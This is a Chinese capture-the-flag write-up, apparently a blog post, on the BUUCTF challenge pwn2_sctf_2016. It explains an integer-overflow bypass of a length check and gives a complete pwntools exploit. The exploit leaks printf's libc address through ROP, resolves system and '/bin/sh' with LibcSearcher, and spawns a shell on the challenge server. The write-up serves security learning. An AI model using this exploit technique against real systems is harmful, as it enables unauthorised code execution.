BUUCTF-pwn2_sctf_2016(整数溢出+泄露libc)

在这里插入图片描述32位开启了nx保护
在这里插入图片描述
在这里插入图片描述没有看到system和‘/bin/sh’,开启了NX保护,是泄露libc类型的题目

main函数就调用了一个vuln函数
在这里插入图片描述7行的输入函数不是get,是程序自定义的函数get_n
在这里插入图片描述在这里插入图片描述

a2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。也就是说我们这边可以输入负数来达到溢出的效果(整数溢出)

一开始输入负数,绕过长度限制,造成溢出
利用printf函数泄露程序的libc版本,去算出system和‘/bin/sh‘的地址
溢出覆盖返回地址去执行system(‘/bin/sh’)

from pwn import *

from LibcSearcher import *



r=remote('node4.buuoj.cn',28296)

elf=ELF('./pwn2_sctf_2016')



printf_plt=elf.plt['printf']

printf_got=elf.got['printf']

main=elf.sym['main']



r.recvuntil('How many bytes do you want me to read? ')

r.sendline('-1')#在get_n函数中,读入长度被强制转换为unsigned int,此时-1变成了4294967295。使得我们能够进行缓冲区溢出攻击

r.recvuntil('\n')

payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)

r.sendline(payload)

r.recvuntil('\n')

printf_addr=u32(r.recv(4))

libc=LibcSearcher('printf',printf_addr)#泄露libc



offset=printf_addr-libc.dump('printf')#计算system和bin/sh的地址

system=offset+libc.dump('system')

bin_sh=offset+libc.dump('str_bin_sh')



r.recvuntil('How many bytes do you want me to read? ')

r.sendline('-1')

r.recvuntil('\n')

payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)#覆盖返回地址为system(‘/bin/sh’)

r.sendline(payload)



r.interactive()

有多个匹配的libc版本,选个合适的就行

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

半岛铁盒@

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值